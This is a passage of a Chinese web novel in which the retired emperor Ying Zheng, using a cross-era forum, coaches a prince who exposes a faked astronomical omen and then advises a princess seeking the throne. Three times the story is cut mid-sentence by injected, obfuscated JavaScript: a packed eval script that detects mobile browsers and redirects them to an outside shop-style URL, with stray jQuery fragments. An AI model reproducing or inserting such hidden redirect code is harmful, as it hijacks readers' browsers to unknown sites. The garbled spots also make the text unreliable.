若那几日根本是阴雨连绵,观星台看不见星,那所谓“观测记录”,便是彻头彻尾的谎言。 这倒是个突破口。 正想着,私信急促闪烁。 【檐下雀】:先生!三条线都有进展了! 【檐下雀】:一、监正之弟三日前在城南购了一处三进宅院,价三千金,远超其俸禄。二、献书人是江南一落第书生,自称祖传,但查其籍贯,三代内无人习天文。三、刘司历已暗中接触,他说…… 文字到这里,顿了顿。 然后,是一段更长的叙述: 【檐下雀】:刘司历说,半月前监正令他校订一批新得古籍,其中确有‘荧惑守心’相关记载。但古怪的是,监正特意吩咐,将其中‘某月某日,荧惑入心’的记载,往前挪了五日。刘司历当时不解,如今想来,那挪后的日期,恰好是……我上月染风寒卧床之日。 嬴政眸色骤冷。 染病卧床之日? 这是要将“荧惑守心”的凶兆,与皇子的“病”强行对应,坐实“此子妨圣躬”的罪名。 好毒辣的心思。 【青耕】:天气记录呢? 【檐下雀】:正要报!查了钦天监的《晴雨录》,那挪后的五日,有三日阴雨,两日大雾,根本不可能观测火星! 果然。 嬴政嘴角勾起一丝冰冷的弧度。 【青耕】:证据齐了。刘司历可愿作证? 【檐下雀】:他愿!但求保他全家性命,并外放一富庶之地为官。 【青耕】:应他。但告诉他,若证词有半分虚假,或事后反水,后果自负。 【檐下雀】:是!那接下来…… 【青耕】:等。等钦天监的奏章递上去,等陛下召问你。届时,你只需做一件事—— 他敲下最后一行字: 【青耕】:请陛下,当着百官的面,召钦天监监正、刘司历及相关人员,当场核对《晴雨录》、古籍原稿、及观星原始记录。并要求,请京城其他懂天文的耆老、甚至外国使臣一同验看。 【檐下雀】:当场对质?

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114048|195895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 【青耕】:对。人可收买,但天时记录难改。古籍原稿的笔迹墨色,可辨新旧。观星原始记录若有涂改,必有痕迹。当着百官面,他无从遮掩。 【檐下雀】:可若陛下信了天象…… 【青耕】:那就告诉他:儿臣愿即刻离京,赴封地闭门思过。但离京前,只求父皇明察此事真相,以免奸人欺天,玷污圣听。 以退为进。 若皇帝还存一丝清明,必会起疑。若皇帝已完全被蒙蔽……那“檐下雀”暂时离开权力中心,也未尝不是避祸之道。 【檐下雀】:……晚辈明白了。 对话暂告段落。 嬴政看着光幕,知道此刻那年轻人心中定是惊涛骇浪。 但他能做的,已经都做了。剩下的,看天意——不,看人事。 他关掉私信,点开论坛。 那个关于“蝴蝶效应”的帖子下,又多了不少回复。有人@他:“青耕先生,您觉得这个局接下来会怎么破?” 嬴政想了想,回道: 【青耕】:局之破,往往不在奇谋妙计,而在基础功夫。查账本、查天气、查人事往来——皆是笨功夫。然笨功夫做到极致,谎言便无处藏身。 很快,“鹄羽”跟帖: 【鹄羽】(回复青耕):先生此言,深得理政之要。盛世浮华多奇技,危局破局靠笨功。 两人的对话再次引来围观。 但嬴政已无心多看。 他起身,走到窗边。 雨后的夜空,云层散开,露出几颗疏星。山风清冽,带着泥土和草木的气息。 墨玉跟过来,蹭了蹭他的腿。 “快见分晓了。”他低声说,不知是对猫说,还是对自己。 --- 翌日,骊山别业晨雾未散。 嬴政刚用过早膳,光幕便急促闪烁起来。 【檐下雀】:先生!钦天监奏章今晨递上!果然言‘荧惑守心,应在东宫’,暗指我‘病中星侵,恐妨圣安’!父皇已召我午后入宫! 终于来了。 嬴政神色平静,回复: 【青耕】:按昨夜所议准备。记住三点:一、姿态要恭,言语要稳。二、证据呈递要有条理,先天气记录,再古籍疑点,最后人证。三、最后请陛下明察时,要情真意切,甚至可含泪——不是作伪,是想你自身处境。 【檐下雀】:是!刘司历及其家人已秘密安置。晴雨录、古籍原稿的临本也已备好。 【青耕】:去吧。 【檐下雀】:先生……若此关不过,晚辈或许再无机会向先生请教。无论如何,谢先生这些时日倾囊相授。 这话说得,竟有几分诀别之意。 嬴政眉头微蹙。 【青耕】:未战先怯,乃兵家大忌。你手中证据确凿,有何惧之?便真是最坏结果,离京就藩,亦可韬光养晦,静待时机。去吧。 【檐下雀】:……是!晚辈定不辜负先生教导! 头像暗了下去。 嬴政知道,那年轻人此刻正整理衣冠,准备踏入他人生中,或许是第一场真正意义上的政治对决。 他坐在书房里,没有离开。 墨玉似乎感受到不寻常的气氛,跳上案几,安静地趴在他手边。 光幕亮着,时间一分一秒过去。 论坛里依旧热闹,那个关于“蝴蝶效应”的帖子下,有人开始猜测:“你们说,那个‘檐下雀’今天能过关吗?” “看青耕先生这么淡定,应该稳了吧?” “不好说,天象这种事,古代皇帝很信的。” “@青耕先生,求剧透!” 嬴政没有回复。 他只是静静坐着,看着窗外光线流转,从晨雾到日升,再到午时阳光穿透云层。 仿佛又回到多年前,在咸阳宫中等前线战报。 只是这一次,他不在局中。 他是观棋人。 也是……执棋人。 午后未时,光幕终于再次闪烁。 私信跳出,只有短短一行字: 【檐下雀】:先生,我出来了。 嬴政手指微动。 【青耕】:如何? 那边沉默了片刻。 然后,发来一段长长的叙述。 --- 8. 余波与新局 光幕上,“檐下雀”的叙述一行行浮现: 【檐下雀】:午后入宫,父皇在观星台偏殿见我。董太师、钦天监监正、还有两位宗室老王都在。殿内气氛极肃。 【檐下雀】:父皇将钦天监的奏章掷在我面前,问:‘天象如此,你有何话说?’ 【檐下雀】:我依先生所教,先跪地请罪,言‘儿臣愚钝,若真有妨圣躬,愿即刻离京’。然后才呈上晴雨录临本,指出奏章所言‘观测之日’实为阴雨大雾,并请核对古籍原稿墨色、笔迹新旧。 【檐下雀】:监正当场色变,强辩说‘星象非凡眼可见时,亦可依理推演’。我便请刘司历入殿——他由两位御前侍卫暗中带入,监正见到他时,脸都白了。 看到这里,嬴政微微颔首。 关键时刻推出人证,时机正好。 他继续往下看: 【檐下雀】:刘司历当殿陈述监正篡改记录、挪移日期之事,并交出监正之弟购宅的契书副本。父皇震怒,令侍卫搜查监□□邸、钦天监档案库。一个时辰后,回报:在监正书房暗格中,搜出董府管家所赠金饼二十枚,及董太师手书一封,上有一句‘天象之事,有劳监正’。 董太师的手书? 嬴政眉梢微挑。这老狐狸竟如此大意,留下文字把柄? 要么是太过自信,要么……是故意为之? 他略一思索,回复: 【青耕】:手书内容,只此一句? 【檐下雀】:是。仅此一句,未落款,但笔迹经几位老臣辨认,确是董太师亲笔。 【青耕】:董太师当时如何反应? 【檐下雀】:他当场跪地,老泪纵横,言‘此必府中刁奴背主妄为,老臣管教不严,罪该万死’。并自请削爵一等,罚俸三年,闭门思过。 以退为进,弃车保帅。 果然是老政客,反应极快。 嬴政又问: 【青耕】:陛下如何处置? 【檐下雀】:父皇沉默良久,最终下旨:钦天监监正欺君罔上,腰斩弃市,家产抄没,家人流放。董太师‘御下不严’,罚俸一年,但仍保留太师衔。刘司历举发有功,擢升为监正。至于我…… 文字到这里,顿了顿。 【檐下雀】:父皇看了我许久,说:‘你长大了。’然后,让我明日开始,每日午后去文华殿,随他批阅奏章。 随驾批阅奏章。 嬴政眼中闪过一丝了然。 这是补偿,更是表态——皇帝通过这种方式宣告:这个儿子,他保了。 【青耕】:结果不坏。你当谨记:此次虽胜,却已与董氏彻底对立。往后更要如履薄冰。随驾批阅时,多看,多听,少言。遇事不决,可记下,回来问我。 【檐下雀】:是!谢先生!若无先生指点,晚辈此次恐难脱身。 感激之情,溢于言表。 嬴政神色淡然: 【青耕】:是你自己争气。证据查得扎实,临场应对也得当。我不过提点几句罢了。 这话并非全为安慰。这年轻人此次表现,确实可圈可点。 【檐下雀】:先生过谦。晚辈定当勤勉,不负先生期望。 对话暂告段落。 嬴政关掉私信,靠回椅背。窗外已是暮色四合,秋日的天黑得早。 墨玉从案几跳下,绕着他脚边转了一圈,用脑袋蹭他的小腿——该用晚膳了。 “这就去。”嬴政揉了揉猫脑袋,起身。 走出书房时,他最后看了眼光幕。 论坛公共区,那个关于“蝴蝶效应”的帖子又多了几十条回复。有眼尖的发现了“青耕”和“檐下雀”头像旁的互动标识,兴奋地猜测:“檐下雀刚才在线!是不是刚经历完大事?青耕先生快出来说说结果啊!” 嬴政笑了笑,没理会。 他走到廊下,哑巴老叟已备好晚膳。简单的两菜一汤,但热气腾腾。 用膳时,他脑中仍在推演今日之事。 董太师看似折了一臂(监正),但根基未损。罚俸一年,对他这等权臣不痛不痒。倒是那句“御下不严”的评语,会在朝野间留下印记。 而“檐下雀”获得随驾批阅的机会,算是正式踏入权力核心的预备场。但福祸相依——从此将置于更多目光之下,稍有不慎便会摔得更狠。 “先生。” 哑巴老叟比划着,指了指园中一丛晚开的菊花,意思是开得正好,要不要剪几枝插瓶。 嬴政摆手:“由它开着吧。” 他现在没心思赏花。 回到书房,光幕还亮着。论坛时间显示【第五日戌时】,正是各时空用户活跃的时候。 他点开消息通知,除了几个帖子@他,还有一条私信—— 来自鹄羽。 这是“鹄羽”第一次主动发来私信。 内容很简短: 【鹄羽】:观近日某局,青耕先生运筹帷幄,破局于无形。晚辈敬佩。然有一惑:先生令‘檐下雀’最后以退为进,言‘愿离京’,此计虽险,却直指帝王怜子之心。先生何以笃定,其父必不会顺势真遣其离京? 好犀利的问题。 嬴政沉吟片刻,回复: 【青耕】:非是笃定。而是两害相权取其轻。若其父已完全被蒙蔽,执意要遣,那么主动请离,可保全一丝体面与父子和气,将来尚有回转之机。若其父尚有清明,见子如此恭顺忍让,反会起疑——天象之事是否另有蹊跷?人心如此。 【鹄羽】:原来如此。先生对人心的把握,已臻化境。 【青耕】:过誉。不过是多活了些年岁,见得多些罢了。 这话说得,倒真像个阅历丰富的老者。 虽然按实际年龄算,嬴政如今不过五十出头,在帝王中不算老。但心路历程,确实比寻常人厚重太多。 【鹄羽】:先生谦虚。晚辈另有一问,或许冒昧:先生对‘檐下雀’此人,似有超乎寻常的耐心与期待。可是因其处境,让先生想起……故人? 故人? 嬴政手指一顿。 是指扶苏么? 确实,某种程度上,“檐下雀”那种优柔中带着良善、困顿中仍想奋进的特质,与扶苏有几分相似。但又不完全相同——扶苏更执拗,更理想主义;而“檐下雀”在经历此番磨砺后,似乎多了几分韧性。 他缓缓输入: 【青耕】:人生在世,谁无困顿?见人迷途,指点一二,不过顺手为之。谈不上期待。 避重就轻。 【鹄羽】:原来如此。倒是晚辈想多了。 对话到此,本该结束。 但“鹄羽”又补了一句: 【鹄羽】:近日论坛将有一新求助者,处境颇为特殊。届时或需先生这般通透之人指点。晚辈拭目以待。 特殊的求助者? 嬴政眉头微挑。这“鹄羽”似乎知道些论坛内部的动向? 他回道: 【青耕】:论坛求助者众,各有所难。能否得助,看缘分罢了。 【鹄羽】:先生说得是。那晚辈便不打扰了。 头像暗了下去。 嬴政看着对话记录,若有所思。 这个“鹄羽”,似乎不仅仅是个学识渊博的旁观者。他(或她)对论坛、对各时空的求助者,似乎有某种程度的……了解? 正想着,论坛公共区突然弹出一个新帖子,标题让嬴政目光一凝: 【紧急求助!我该怎么办?——女子称帝,难道真是逆天而行吗?】 发帖人ID:我言秋日。 主楼内容不长,但字字惊心: “长兄骤逝,父皇病重,朝中无成年皇子。宗室逼我嫁与某藩王世子,以其子嗣过继为储。我不愿。” “我自幼随父皇听政,读史书,习政务,自问不输任何男儿。我想……我想接下这江山。” “可满朝文武,皆言‘牝鸡司晨,惟家之索’。连自幼教导我的太傅,都摇头叹息。” “我真的错了吗?” 帖子下方,瞬间涌出数十条回复。 有震惊的,有质疑的,有嘲讽的,也有零星几个表示理解的。 嬴政快速扫过那些回复,目光最后落回主楼那几句话上。 女子称帝。 难怪“鹄羽”说“处境颇为特殊”。 他沉默地看着,没有立刻回复。 墨玉跳上案几,好奇地凑近光幕,碧绿的猫眼里映着那些滚动的文字。 窗外的风大了起来,吹得竹叶哗哗作响。 嬴政伸出手,指尖悬在回复框上方。 然后,落下。 【青耕】:王者之位,非男女之别,乃民心所向, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114049|195895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 社稷所需。若汝有治世之才、安邦之志,何惧人言? 【青耕】:然,欲行非常之事,需有非常之谋、非常之忍、非常之坚。汝可准备好了? 发送。 几乎在回复发出的瞬间,帖子下方就炸开了: 【我言秋日】(秒回):先生!我……我不知道我是否准备好了。但我愿一试!求先生指点! 与此同时,私信提示急促闪烁。 不止一条。 一条来自“我言秋日”:“先生肯信我,肯教我?” 另一条,来自“鹄羽”:“先生果然会出手。” 嬴政先点开“我言秋日”的私信。 【青耕】:指点可以。但有三问,你先答我。 【我言秋日】:先生请讲! 【青耕】:一、朝中目前,有多少人明确支持你?不必多,但需是实权人物,且理由充分。 【青耕】:二、军中态度如何?尤其是戍卫京畿的禁军、以及边疆几位大将。 【青耕】:三、你若上位,第一件要推行、且能快速收效以安定人心的政事是什么? 三个问题,直指核心:权力基础、武力保障、施政方向。 对面沉默了。 显然在认真思考。 嬴政也不急,点开“鹄羽”的私信。 【鹄羽】:先生此问,直中要害。然此女处境,比‘檐下雀’凶险十倍。非但有外敌,更有内忧——礼法大防,如山如岳。 【青耕】:山岳亦可移。愚公移山,精卫填海,无非‘坚持’二字。 【鹄羽】:先生信她能成? 【青耕】:我信有志者,事竟成。至于最终成否,看她自己。 【鹄羽】:先生大善。那晚辈便静观先生再展妙手了。 对话结束。 嬴政关掉私信,重新看向“我言秋日”的对话框。 还未回复。 他起身,走到窗边。 夜色已浓,山间起了风,带着深秋的寒意。 女子为帝…… 千古未有之事。 但他嬴政这一生,做的“千古未有之事”还少么? 书同文,车同轨,废分封,行郡县,哪一件不是破了千百年旧例? 若这女子真有才干,有胆魄,为何不能试一试? “喵。” 墨玉也跟到窗边,仰头看他。 嬴政弯腰,将猫抱起来。 “墨玉,”他低声道,“你说,朕是不是……管得太宽了?” 退休了,本该颐养天年。 却在这论坛里,指点这个,教导那个。从优柔皇子到欲为女帝,一个比一个麻烦。 黑猫用脑袋蹭了蹭他的下巴,喉咙里发出呼噜声。 仿佛在说:你乐意就好。 嬴政笑了。 是啊,他乐意。 退休生活太清净,反倒无趣。有点事做,指点几个有意思的年轻人,看着他们成长、破局、甚至……去挑战那些看似不可逾越的高山。 这感觉,不坏。 他走回案前,光幕上,“我言秋日”的回复刚刚跳出来: 【我言秋日】:先生,晚辈答:一、目前明确支持我的,只有禁军副统领一人,他曾是我兄长伴读,与我自幼相识,信我能守住江山。另有三位御史,是清廉孤直之辈,他们支持我,是因厌恶宗室与藩王勾结。 【我言秋日】:二、京畿禁军,副统领可影响三成。边疆大将……北境将军是我舅父旧部,或可争取。其余,态度不明。 【我言秋日】:三、若上位,第一件事是‘清查皇室田庄,减免京畿三年赋税’。田庄多被宗室侵吞,清退可收民心;减税可安百姓。且此事不必经内阁,皇帝可直接下中旨。 答得很快,思路也清晰。 尤其是第三点——知道利用皇帝特权绕开官僚体系,直接施惠于民,以收拢最基础的民心。 有悟性。 嬴政眼中掠过一丝赞许。 他坐下,开始回复。 而窗外,秋夜正长。 骊山静静矗立在黑暗中,仿佛一位沉默的巨人,俯瞰着山脚下偶尔闪烁的灯火,和灯火里那些纷扰的人间事。 书房里,光幕莹莹。 一场跨越时空的指导,又一次开始。 --- 9. 凤鸣(上) 【青耕】:答得尚可。禁军副统领一人不够,需再拉拢至少两名实权将领。御史清流可用,但需给他们‘大义名分’——你不是为自己争位,是为国朝续统,防权臣藩王窃国。此乃大义。 【青耕】:边疆大将处,让你舅父旧部暗中联络,不必言明支持你,只需承诺‘若京中有变,绝不回师助藩王’。此为底线承诺。 【青耕】:至于第一政令……思路对,但不够。减税可收民心,但动宗室田庄会立刻树敌。需有先后:先减税,待民心稍稳,再以‘彻查贪腐’为名,动一两个民愤最大的宗室田庄,且必须证据确凿,公开审理。此谓‘循序渐进,有理有据’。 三条回复,条条切中要害。 对面沉默得比上次更久。 嬴政也不催,端起茶盏。茶已凉透,他唤哑巴老叟换一壶新的。 秋夜寒,喝热茶暖身。 待新茶沏好,墨玉也跳上案几,好奇地嗅了嗅茶盏边缘的蒸汽时,“我言秋日”的回复终于来了: 【我言秋日】:先生所言,字字珠玑。晚辈有三处不明,求先生解惑。 【我言秋日】:一、拉拢将领,当以何名义?若直言夺位,恐无人敢应。 【我言秋日】:二、舅父旧部那边,若他反问‘为何要助女子称帝’,该如何答? 【我言秋日】:三、动宗室田庄,若其他宗室联合反扑,甚至勾结藩王逼宫,该如何应对? 问题都很实际,且直指最难处。 嬴政放下茶盏,眸色沉静。 这女子,思虑很深,不是一时冲动。 【青耕】:一、不必言‘夺位’。只说‘国朝危急,主少国疑,恐有奸人欲行霍光、王莽之事’。你出面,是为稳住朝纲,待父皇康复或择定新嗣。此为权宜之计,名正言顺。 霍光、王莽,皆是权臣篡位的典型。这个理由,足以让那些忠于皇室、又担忧藩王坐大的将领心动。 【青耕】:二、若他问,便答:‘非常之时,当有非常之人。我是不是女子不重要,重要的是,我能守住皇兄留下的江山,不让外姓染指。将军是愿助我守父皇基业,还是愿看藩王入主,清洗旧臣?’ 以利害动人,比空谈大义更有效。 【青耕】:三、宗室反扑,在意料之中。故动手之前,需先握三样东西:一是民望(减税已得),二是军权(至少部分禁军),三是大义名分(你代表的是病重父皇与早逝皇兄的意志,他们是‘乱臣贼子’)。三者齐备,他们敢反,便是谋逆,可名正言顺镇压。 回复完,嬴政补充了一句: 【青耕】:此三问,你可再思量。若有更具体情形,随时来问。但记住——谋定而后动。未准备周全前,勿露锋芒。 【我言秋日】:……谢先生!晚辈定谨记于心。 对话暂歇。 嬴政靠回椅背,揉了揉眉心。 教导这种“地狱难度”的弟子,确实比指点“檐下雀”更耗心神。每一句都需斟酌,既要给她勇气,又不能让她冒进。 窗外的风似乎更急了,竹影在窗纸上狂乱摇曳。 墨玉被风声惊动,耳朵竖起,警惕地看向窗外。 “只是风。”嬴政安抚地摸了摸猫背,忽然想起什么,点开了论坛搜索栏。 输入“古代女性统治者”。 搜索结果不少,从商代妇好到汉代吕后,再到北魏冯太后、唐代武则天……他快速浏览着那些现代人整理的资料和分析。 其中一篇题为《女性执政的历史困境与破局》的帖子,吸引了她的注意。发帖人又是鹄羽。 帖子从礼法约束、官僚系统排斥、继承制度缺陷、甚至生理歧视等多个层面,分析了女性执政的天然障碍。但末尾笔锋一转: “然纵观历史,凡能突破重围的女性统治者,往往具备一些共性:一是果决,甚至冷酷,因不如此不足以震慑反对者;二是善用‘男性代理人’,如吕后用萧何曹参,武后用狄仁杰;三是极其注重合法性构建,无论是借助宗教、祥瑞,还是塑造‘贤母’‘慈君’形象;四是牢牢掌控军权,无一例外。” “故,若有女子欲行此路,不必模仿男子,而应思考:如何将‘女性’身份从劣势转化为优势?例如,女性常被赋予‘仁慈’‘细腻’‘坚韧’的期待,这些特质在特定情境下(如灾荒赈济、民生治理、外交怀柔)反而可能成为加分项。关键在于——找到属于自己的权力语言。” 见解独到。 嬴政沉思片刻,在这篇帖子下回复: 【青耕】:‘权力语言’一词甚妙。为君者,无论男女,皆需找到与臣民沟通的有效方式。女性执政者,或可尝试以‘保护者’‘维系者’姿态出现——保护家族传承、维系天下安宁。此姿态较之传统帝王‘征服者’形象,或更易被接受。 回复发出后,他正要关掉页面,私信提示却响了。 是“鹄羽”。 【鹄羽】:先生果然在看相关史料。 嬴政挑眉。这人怎么知道他刚才在搜什么? 【青耕】:随便看看。鹄羽先生这篇分析,颇有见地。 【鹄羽】:先生过誉。不过拾人牙慧罢了。倒是先生那句‘保护者姿态’,让晚辈豁然开朗——女子称帝,最大的阻力在于‘违背传统’。但若将此事重新诠释为‘在家族危难时挺身而出、保护基业’,便从‘篡逆’变成了‘担当’。高明。 一点就透。 和聪明人说话,就是省力。 【青耕】:正是此意。 【鹄羽】:那‘我言秋日’姑娘,有幸得先生指点,或许真能走出一条路来。 【青耕】:路在她脚下,看她自己走。 【鹄羽】:先生总是这般冷静。不过……晚辈斗胆猜测,先生或许会教她一些‘非常手段’?毕竟,这条路上,仁慈是走不到头的。 这话里,带着一丝若有若无的试探。 嬴政神色不变。 【青耕】:手段为何,视情况而定。但有一点:可以冷酷,不可残暴;可以算计,不可背信。此为底线。 【鹄羽】:底线……先生果然有趣。那晚辈便继续静观了。 对话结束。 嬴政关掉私信,看了眼时间。论坛显示【第六日丑时】,现实中刚过亥时。 该歇了。 他起身,正欲唤墨玉一起回寝殿,光幕却又一次闪烁—— 这次不是私信,而是论坛公共区一个突发热帖: 【伦理大讨论:女子为帝,是否违背天道人伦?】 发帖人是个陌生ID,但言辞激烈,引经据典,从《周易》“坤道其顺”到《礼记》“女不言外”,极力论证女子干政乃祸乱之源。下面跟帖迅速分成两派,吵得不可开交。 嬴政本不想理会,但扫了几眼后,发现“我言秋日”居然在下面回复了。 不是以求助者身份,而是直接辩论: 【我言秋日】:天道无常,唯德是辅。人伦大义,首在孝悌忠信。我父病重,兄早逝,宗室虎视,藩王觊觎。此时挺身维系统绪,是为孝父、悌兄、忠国、信民。何违天道人伦? 【我言秋日】:若只因我是女子,便该坐视江山倾覆、百姓流离,那这‘天道人伦’,不过是某些人维护私利的遮羞布罢了! 言辞锋利,气势十足。 但下面立刻有人反驳:“巧言令色!历代女主临朝,哪次不是外戚专权、朝纲大乱?” 眼看争论要升级成骂战。 嬴政皱了皱眉。 这样公开争吵,对“我言秋日”并无益处,只会让她过早暴露在火力下。 他点开回复框,用“青耕”的ID,发了一段话: 【青耕】:诸君争论,皆引经据典,然忘了一事:史书是人写的,经典是人解的。同一本《春秋》,公羊、穀梁、左氏三家解读尚且不同,何况世事? 【青耕】:女子能否为帝,不必空谈道理,且看事实:若此人德才足以安邦,智勇足以定国,行事合乎大义,施政利于百姓,那么她是男是女,又有何要紧? 【青耕】:反之,若此人庸懦昏聩,纵是男子,难道就配坐江山?诸君争论,不妨先回答此问。 这段话一出,下面争吵声顿时小了不少。 有人弱弱地回:“话虽如此,但祖宗法度……” 【青耕】:祖宗法度,亦是人定。秦废分封,汉初复行,武帝再削。法度因时因势而变,方为活法。若死守旧制,不顾现实,便是刻舟求剑了。 道理讲完,他最后@了一下“我言秋日”: 【青耕】:@我言秋日你有志气是好事,但不必在此空耗口舌。去做事,去准备,用事实说话。 【我言秋日】(立刻回复):谢先生教诲!晚辈明白了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114050|195895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>一场风波,暂且平息。 嬴政关掉论坛,揉了揉太阳穴。 这论坛,有时比朝堂还热闹。 墨玉已经等得不耐烦,用爪子扒拉他的衣袖。 “好了,这就去睡。”嬴政抱起猫,吹熄书房的灯。 走出房门时,他最后回头看了一眼。 黑暗中,光幕自动转为极暗的待机模式,只留下一抹微不可察的莹蓝。 像深海中一点遥远的渔火。 --- 接下来两日,嬴政的生活节奏依旧。 晨起,散步,用膳,进书房。 “檐下雀”那边进展平稳:每日随驾批阅,遇到疑难便记录下来,夜间向嬴政请教。问题从“如何平衡赈灾与国库”到“边疆将领奏请增饷该如何回应”,越来越有分量。 嬴政的指导也越发深入,不再只给答案,而是引导他自己思考: “赈灾与国库,看似矛盾,实则有共通处——皆在‘调度’二字。你想想,灾区缺的是粮,但可能不缺其他物产。可否以工代赈,让灾民修缮水利、道路?既能安民,又能增强地方抗灾能力,长远看省了国库。” “边疆增饷,先查历年军饷发放记录、该地粮价变动、以及将领家产。若确实不足,可增,但需派专员监督发放,防止克扣。若将领家财丰厚却仍哭穷……那便不是军饷问题,是忠诚问题了。” “檐下雀”领悟得很快,偶尔还能提出自己的见解。嬴政看着他的成长,心中有几分淡淡的欣慰。 而“我言秋日”那边,则完全是另一种画风。 她几乎每隔几个时辰就会发来新问题,事无巨细: “先生,我已暗中联络上禁军左营统领,他提出要见我一面,我该去吗?若去,该说什么?” “先生,舅父旧部回信了,答应‘绝不助藩王’,但要求我上位后,将他调离北境苦寒之地,去江南驻防。该答应吗?” “先生,我拟了一份减税诏书的草稿,您看看措辞可行否?” 问题多,急,且险。 嬴政每条都仔细回复,有时甚至需要停下手中其他事,专门为她推演可能的情形。 “见统领可以去,但需做好万全准备:地点选在安全处,带可靠护卫,谈话内容可先打腹稿。重点突出‘国朝危难’,激发其忠义之心,并暗示事成后不会亏待。” “调离北境的要求可以答应,但需加上条件:他需在离任前,帮你稳住北境军队,并推荐可靠的接任者人选。此为交换。” “减税诏书措辞需朴实,少用华丽辞藻,多列具体数据:往年赋税多少,今年减多少,为何能减(如‘仰赖祖宗积累、百官勤勉、风调雨顺’),减后国库仍可支撑。要让百姓看得懂,信得过。” 他的回复往往很长,条分缕析,甚至考虑到细节。 墨玉有时会好奇地凑近光幕,被嬴政轻轻推开:“别闹,正忙。” 黑猫委屈地“喵”一声,趴到一旁,但眼睛还盯着主人专注的侧脸。 论坛里,关于“女子为帝”的争论并未停歇,只是从公开骂战转为了更多私下讨论。“青耕”那天的发言被不少人引用,渐渐形成一种相对理性的讨论氛围。 偶尔,嬴政会看到“鹄羽”在相关帖子下发言,观点总是冷静而富有建设性,有时甚至像在暗中为“我言秋日”铺路。 比如有一次,有人质疑“女子不懂军事”,“鹄羽”便列举了历史上多位擅兵法的女性,从妇好到平阳昭公主,最后总结:“才干不分男女,只看是否用心学、是否有机会历练。” 嬴政看在眼里,心中对这个“鹄羽”的评价,又高了几分。 第三日傍晚,嬴政刚指导完“檐下雀”一份关于盐政改革的奏章批复思路,正喝茶休息,“我言秋日”的私信又来了。 这一次,语气不同以往: 【我言秋日】:先生,出事了。 【我言秋日】:宗室联合了几位藩王,以‘探病’为名,已率亲兵抵达京郊。他们要求明日入宫,面见父皇,并……要求我当众承诺,绝无觊觎大位之心,否则便要以‘清君侧’之名,废我封号,圈禁宗人府。 【我言秋日】:先生,他们……来势汹汹。我该怎么办? 嬴政放下茶盏。 眼中,闪过一丝锐利的光。 终于,逼到眼前了。 --- 10. 凤鸣(下) 【青耕】:他们带了多少亲兵?驻扎何处?以谁为首? 回复极快,毫无废话。 【我言秋日】:三家藩王,各带五百亲兵,按律未逾制。另有三家宗室,各带府兵二百。总计两千余人,驻扎京西二十里兰台驿。为首者是安平郡王,我皇叔祖,辈分最高。 两千余人,不算多,但足够造成威慑。 更重要的是“辈分最高”——宗法社会,长辈压下来,天然占着“教训不肖子孙”的道德高地。 嬴政沉吟片刻。 【青耕】:你父皇现在状况如何?可能出面? 【我言秋日】:父皇昨日醒来片刻,但神志不清,言语含糊。御医说……恐难支撑太久。 【青耕】:宫中禁卫,如今听谁调遣? 【我言秋日】:禁军统领仍是董太师的人,但副统领(支持我的那位)实际掌控着三成兵力,尤其把守宫门的左营。其余七成,态度暧昧。 局势清晰了。 敌兵在外,内有权臣掣肘,皇帝病危无法做主,她唯一可倚仗的,只有禁军副统领那三成兵力,以及……尚未稳固的“大义名分”。 硬碰硬,毫无胜算。 嬴政起身,在书房中踱步。 墨玉被他的脚步声惊动,抬起脑袋,疑惑地“喵”了一声。 窗外的夜色浓稠如墨,山风呼啸。 他走到墙边那排书架前,目光扫过那些他亲自编写、又亲自批注的“伪奏折”。那些虚构的灾荒、边患、叛乱、权争……此刻仿佛活了过来,与光幕那头真实的危机重叠。 【青耕】:你怕么? 他突然问。 【我言秋日】:……怕。但更不甘。先生,我不甘心就这样认输,让那些人得逞。 有恐惧,但更有斗志。 很好。 嬴政回到案前,手指在光幕上快速敲击: 【青耕】:既如此,我教你应对。但此法极险,一步踏错,满盘皆输。你可敢听? 【我言秋日】:敢!请先生赐教! 【青耕】:第一,今夜立刻派人秘密出宫,去见安平郡王。不是求情,是传话。话分三层:一、感念皇叔祖关心国事,但父皇尚在,率兵近京恐惹非议,于他清誉有损;二、明日入宫可以,但‘亲兵不得入皇城,此为祖制’;三、你愿明日当众在父皇榻前立誓——若父皇康复,你绝不争位;若父皇不豫,一切依遗诏行事。 【我言秋日】:这……若他们不答应呢? 【青耕】:他们多半不会全答应,但会讨价还价。你的底线是:亲兵绝不能入皇城。只要兵不入城,他们便不敢真正动武——否则便是谋逆。至于立誓,可以答应,但要加一句‘在父皇清醒时立誓’。 【青耕】:第二,同时让你舅父旧部在北境‘例行演武’,动静闹大些。并‘不慎’让消息传到京城:北境军关注京中动向。此为威慑,让藩王不敢轻举妄动。 